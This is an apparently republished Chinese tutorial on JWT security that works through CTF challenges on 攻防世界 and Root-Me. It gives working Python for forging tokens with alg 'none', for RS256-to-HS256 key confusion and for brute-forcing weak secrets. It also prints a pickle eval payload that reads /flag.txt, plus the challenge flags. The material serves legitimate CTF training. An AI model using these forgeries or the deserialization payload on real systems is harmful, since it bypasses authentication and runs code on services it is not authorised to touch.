学习JWT，看这篇就够了！

渗透技巧 2年前 (2021) admin

1,244 0 0

本文约2300字，阅读约需6分钟。

刷题的时候，看见一道题写着“kunkun应援团”，不仅有应援口号，而且竟然要集资11540买lv6？

带着对kunkun的爱注册了账号。去购物车翻找lv6的商品，由于页数过多，用了个小脚本，找到了lv6的商品，在181页。

脚本如下：

from urllib import request url="http://220.249.52.133:47108/shop?page=" for i in range(1,501):     r = request.urlopen(url+str(i))     if "lv6.png" in r.read().decode('utf-8'):         print(i)         break     else:         print("lv6 is not in page "+str(i))

抓包，修改价格：

修改失败，提示操作失败。但发现有一次返回为302，并附带一个目录，访问后发现，只允许admin访问：

在包中发现，网站通过JWT进行身份验证。那便自己研究一下JWT吧。

JWY基础

搜索引擎介绍，JWT是Json Web Token的缩写，主要用于验证用户身份信息及跨域的身份验证。

而JWT一般是由三部分组成，并使用base64编码。

以下为完整的JWT认证信息：

JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRpbWUifQ.2YosC1XgEHYbLonkRpX49gi3Lqnr4dngsThwnBGvhwA
 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9                   标头 eyJ1c2VybmFtZSI6IlRpbWUifQ                             payload 2YosC1XgEHYbLonkRpX49gi3Lqnr4dngsThwnBGvhwA            签名

Header(标头)

标头通常由两部分组成：令牌的类型和所使用的签名算法，例如HMACSHA256或RSA。

Header头部承载两部分信息，分别是声明类型+JWT和声明加密算法：

header = '{        "alg":"HS256",        "typ":"JWT"         }'

使用base64URL编码，形成JWT的第一部分。

Payload(有效载荷)

主体信息(有效载荷)，其中包含声明，声明是有关实体(一般是用户)和其他数据的声明。索赔有以下三种类型：注册的，公共的和私人权利。

已注册的权利要求：这是一组非强制性的但建议使用的预定义权利要求，以提供一组有用的可互操作的权利要求。其中一些是：iss(主题)， exp(到期时间)， sub(主题)， aud(受众)等。

公开声明：使用JWT的人员可以随意定义这些声明。但为避免冲突，应在IANA JSON Web令牌注册表中定义它们，或将其定义为包含抗冲突名称空间的URI。

私人权利：是指使用它们同意，并且不是当事人之间的，建立共享信息的自定义声明注册，或者公众的权利要求。

官方规定的七个字段(不强制要求选择，也可以自定义字段)：

–          iss (issuer)：签发人–          exp (expiration time)：过期时间–          sub (subject)：主题–          aud (audience)：受众–          nbf (Not Before)：生效时间–          iat (Issued At)：签发时间–          jti (JWT ID)：编号

payload = '{     "loggedInAs":"admin",     "iat":1422779638     }'//iat表示令牌生成的时间

使用base64URL编码，形成JWT的第二部分。

Signature(签名)

签名，要创建签名部分，必须获取编码的标头、编码的有效载荷、机密、标头中指定的算法，并对其进行签名。

如果要使用HMAC SHA256算法，则将通过以下方式创建签名：

HMACSHA256(#第一部分base64UrlEncode(header) + "." +#第二部分base64UrlEncode(payload),#秘钥secret)

使用base64Url编码后组成第三部分。

最后将第一部分、第二部分、第三部分使用“.”连接组成一段完整的JWT令牌。

Python生成Jwt Web Token：

import time import jwt
 #头信息 head = {     "alg":"HS256",     "typ":"jwt" } #payload payloda = {     "iat":time.time(),     "name":"admin" } #调用jwt库，生成json web token #                         秘钥      加密算法 jwt_token = jwt.encode(payload,"1121",algorithm="HS256",headers=head).decode('ascii') #输出 print(jwt_token)

生成的token：

“eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1OTUwNzM1NDguNjcyNzk2LCJuYW1lIjoiYWRtaW4ifQ.m_f32qmeuFTCugdPBfMA1jGmpkXWoI3Vjt-sY30_xrw”

Python解密JWT：

import jwt
 #需要解码的token jwt_token = "eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1OTUwNzM1NDguNjcyNzk2LCJuYW1lIjoiYWRtaW4ifQ.m_f32qmeuFTCugdPBfMA1jGmpkXWoI3Vjt-sY30_xrw"
 data = None
 try:     #                        秘钥     data = jwt.decode(jwt_token,"1121") except Exception as e:     print(e)
 print(data)

解密内容：

{'iat': 1595073548.672796, 'name': 'admin'}

攻击手法

敏感信息泄露

因header和payload部分是使用可逆的base64方法编码，所以只要获取到令牌，就可以将前两个部分解密后读取内容。

解密方法：

Linux base64      echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d        {"typ":"JWT","alg":"HS256"}

浏览器JavaScript控制台：

     atob("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")        "{"typ":"JWT","alg":"HS256"}"
 Powershell     [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String     ("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9"))        {"typ":"JWT","alg":"HS256"}
 Python     import base64     print(base64.b64decode('eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'))        {"typ":"JWT","alg":"HS256"}

修改签名算法(none)

JWT签名算法可确保JWT在传输过程中不会被恶意用户所篡改，但头部的alg字段可以改为none，若服务器支持签名算法为none，服务器会在JWT中删除相应的签名数据（这时，JWT就会只含有头部 + ‘.’ + 有效载荷 + ‘.’），然后将其提交给服务器。

源码：

“https://github.com/Sjord/jwtdemo”

dmeo：

“http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php”

发送上面的JWT令牌：

将alg修改为none：

import time import jwt
 #头信息 head = {     "alg":"none",     "typ":"jwt" } #payload payload = {     "iat":time.time(),     "name":"time" } #调用jwt库，生成json web token jwt_token = jwt.encode(payload,"",algorithm="none",headers=head).decode('ascii') #输出 print(jwt_token)
 #生成令牌 #eyJ0eXAiOiJqd3QiLCJhbGciOiJub25lIn0.eyJpYXQiOjE1OTUyMjgwNzEuNjk0MjQ1LCJuYW1lIjoidGltZSJ9.

修改RS256算法为HS256：

HS256算法使用密钥为所有消息进行签名和验证，而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256改为HS256，则后端代码将使用公钥作为密钥，然后使用HS256算法验证签名。

由于攻击者有时可以获取公钥，因此，攻击者可以将头部中的算法修改为HS256，然后使用RSA公钥对数据进行签名。这样的话，后端代码使用RSA公钥+HS256算法进行签名验证。

demo:

“http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php”

公钥：

“http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem”

获取网站公钥，将算法改为HS256然后使用泄露的公钥进行签名，服务器会使用HS256和泄露的公钥进行验证。

import jwt
 key = [     "-----BEGIN PUBLIC KEY-----",     "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF",     "NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c",     "1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+",     "H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f",     "ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw",     "2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF",     "KwIDAQAB",     "-----END PUBLIC KEY-----" ]
 key = "n" . join(key)
 jwt_token = jwt.encode({"data":"time"},algorithm="HS256",key=key+"n").decode("ascii")
 print(jwt_token)
 #jwt：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoidGltZSJ9.CAyhfU2pH5L1Ua-bferA4XGvcpwOjxUpG6PkiQ5GYBQ

破解HS256密钥：

如果HS256密钥的强度较弱的话，攻击者可以直接通过蛮力攻击方式来破解密钥，例如将密钥字符串用作PyJWT库示例代码中的密钥的时候，情况就是如此。

安装pyjwt：

pip3 install pyjwt

爆破脚本：

“https://github.com/Devllench/jwtbrute”

字典：

“https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt”

命令格式：

python jwtbrute.py   回车input token: jwt  令牌input wordlist:  字典

攻防世界9分题-bilibili

了解了一波JWT，继续完成我们的kunkun集资应援。

之前我们获得了一串JWT加密信息如下：

“JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRpbWUifQ.2YosC1XgEHYbLonkRpX49gi3Lqnr4dngsThwnBGvhwA”

去jwt.io解密，将username中的Time改成admin，重新生成密文：

报错500，失败，使用py脚本尝试爆破秘钥：

使用上面给出的脚本即可，成功爆出秘钥为1Kun：

在jwt.io重新生成秘钥后，替换当前JWT密文：

替换重新生成的JWT后，成功访问到admin页面：

一番查找后发现网页源代码中有网站源码：

下载后发现是使用python编写的网站源码。莫不是要做python的代码审计？

9分题果然不是我这菜鸟能做出来的，只能祭出Writeup大法，看看python是如何审计的。

看一看wp，发现大佬直接扔出来了一个脚本用来跑flag。

flag脚本：

import pickle import urllib class payload(object):     def __reduce__(self):        return (eval, ("open('/flag.txt','r').read()",))
 a = pickle.dumps(payload()) a= urllib.quote(a) print a

运行后得到：

“c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.”

成功！但大家别想知道，我解出这道题用了多久！

JWT CTF练习

练习地址：

“https://www.root-me.org/?page=recherche&lang=fr&recherche=jwt”

JSON Web Token (JWT) – Introduction

题目：

“http://challenge01.root-me.org/web-serveur/ch58/”

尝试登陆抓包，没有获取到任何有用信息，发现登陆框有个黄色的login as guest，点击抓包放包后，返回一串JWT令牌信息：

“eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk”

去jwt.io网站解密：

发现有效载荷的用户是guest，所以尝试改成admin。但发现，如果修改用户为admin，需要重新生成令牌。

而现在不知道密钥，可以尝试爆破，看看是否能爆破出来。如果没有爆出来，就有点难受了：

尝试修改签名算法，由于jwt.io不支持none算法，所以使用python生成：

import jwt jwt_token = jwt.encode({"username":"admin"}, algorithm=None,key=None).decode("ascii") print(jwt_token)
 #eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.

flag : S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7

RootMe的JSON Web Token (JWT) – Weak secret

题目：

“http://challenge01.root-me.org/web-serveur/ch59/hello”

打开网站后得到一段提示：

网翻后：

先访问/token：

得到令牌：

“eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw”

然后使用post方式访问/admin：

添加Authorization: Bearer YOURTOKEN字段，在请求中添加获取到的令牌：

“Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw”

提示爆破：

成功！key是lol。

然后去jwt.io生成令牌：

“eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA”

flag: PleaseUseAStrongSecretNextTime

RootMe JSON Web Token (JWT) – Public key

题目：

“http://challenge01.root-me.org/web-serveur/ch60/”

首先查看key，似乎很熟悉，仔细一看，正是我们刚刚说过的修改RS256为HS256算法。直接上脚本：

然后使用post方式访问/auth：

提示需要添加username字段。

成功获取token：

“eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InRpbWUifQ.AWLoeQgDwlTs5q2_32D0rjfKjDJXmUo6r31VVireLpuWaIo3y_xJFHXAGeDhP9l2f1TSDDLO-5o-vIp3Fb9zacQUIw4ZdBcFxSobbHHYxsxuaMhH4kVsgWU1Pg5DRAgufA3c-evuq54byYWWRMgod4P-icMZxkJ1vLxCget5xLIE62qyFBkG4nK6oszmg_wkzK-O5PMUtC_eitO9PAVdR-2JcSSV8tSITEmoBzAK90RGqKQ1sBbm29xtStkZr2TsNo1NT2lrnzaROCO46uQEC7RWbA6kf37oZOF2JOVKQLTnHsobXKPrtKs7MvLwjXkJ1rM3mpvv9ZAE2ePJ7ByBpQ”

RS256算法：

脚本：

import jwt
 key = [         "-----BEGIN PUBLIC KEY-----",         "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwInLJZXYC/eZ5BbRDrd0",         "+IKB7Hc9u/tjZFVGmS6aVW4MSEzkgdJYx5tM9yEc4XGdKy2JJVmZCogya4xvYdC7",         "RDqsZLPYlBIoG7KAWjJA6VR4YBcv+2TyamSiYVgXC9p6oe4kvg23lfGB74i8lPZ3",         "13Er2Ohj1L1mEBEl1lMDiCHTBCOyCWnsnZJcUWeZcUxCJBimF4RNS5x/H3cs/uVg",         "A+f5XM0XW6Fp6WIN/wZmIwBE58LWRM3LRZAY2r+JQ2Zp47tmNkr3Z5Ifk2hLKbjx",         "VOjVi86qKnloXfW5Y18M2qFWnwIWvtIJBFN4og8Ms4XVOB9HudyUiblkywZzSq9D",         "NwIDAQAB",         "-----END PUBLIC KEY-----" ]
 key = "n" . join(key)
 jwt_token = jwt.encode({"username":"admin"},key=key+"n",algorithm="HS256").decode("ascii") print(jwt_token)
 #eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.qZzbNQNfGLSyuvwhb1mKJhBnr3tFHJriIMuxzNEYoG0

PS:如果报错，使用如下命令解决

卸载pyjwt：

pip uninstall pyjwt

安装旧版本pyjwt：

pip install pyjwt==0.4.3

访问/admin目录使用post方式添加内容到cookie中

“Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.qZzbNQNfGLSyuvwhb1mKJhBnr3tFHJriIMuxzNEYoG0”

flag : HardcodeYourAlgoBro

最后，放一些链接，大家可以自行参考。

https://www.jianshu.com/p/c5f2a4e1c98d

http://sircoding.club/blog/post/sirc0de/JWT

http://www.ruanyifeng.com/blog/2018/07/jsonwebtoken-tutorial.html

https://jwt.io/introduction/

https://blog.csdn.net/weixin_44604541/article/details/108921381

– END –

往期推荐

记一次卑微的渗透测试

pwn入门之栈入门

MYSQL另类利用方式

长按下方图片即可关注

点击下方阅读原文，加入社群，读者作者无障碍交流

原文始发于微信公众号（酒仙桥六号部队）：学习JWT，看这篇就够了！

版权声明：admin 发表于 2021年11月3日上午10:00。
转载请注明：学习JWT，看这篇就够了！ | CTF导航

【技术推荐】云原生之Kubernetes安全

admin

878

内存对象搜索原理剖析

admin

356

CVE-2021-40097 concrete cms rce

admin

304

Cobalt Strike的DLL Stager分析

admin

340

攻击技术研判｜狡兔三窟，寄生公开服务的隐匿文档攻击

admin

449

我用 CF 打穿了他的云上内网

admin

716

暂无评论

您必须登录才能参与评论！

立即登录

暂无评论...

学习JWT，看这篇就够了！

Header(标头)

Payload(有效载荷)

Signature(签名)

敏感信息泄露

修改签名算法(none)

修改RS256算法为HS256：

破解HS256密钥：

JSON Web Token (JWT) – Introduction

RootMe的JSON Web Token (JWT) – Weak secret

RootMe JSON Web Token (JWT) – Public key

特斯拉、蔚来、小鹏三款主流智能驾驶产品测评

由DeepLink攻击切面产生的漏洞

相关文章

暂无评论

相关文章

学习JWT，看这篇就够了！

Header(标头)

Payload(有效载荷)

Signature(签名)

敏感信息泄露

修改签名算法(none)

修改RS256算法为HS256：

破解HS256密钥：

JSON Web Token (JWT) – Introduction

RootMe的JSON Web Token (JWT) – Weak secret

RootMe JSON Web Token (JWT) – Public key

特斯拉、蔚来、小鹏三款主流智能驾驶产品测评

由DeepLink攻击切面产生的漏洞

相关文章

暂无评论

广告位

相关文章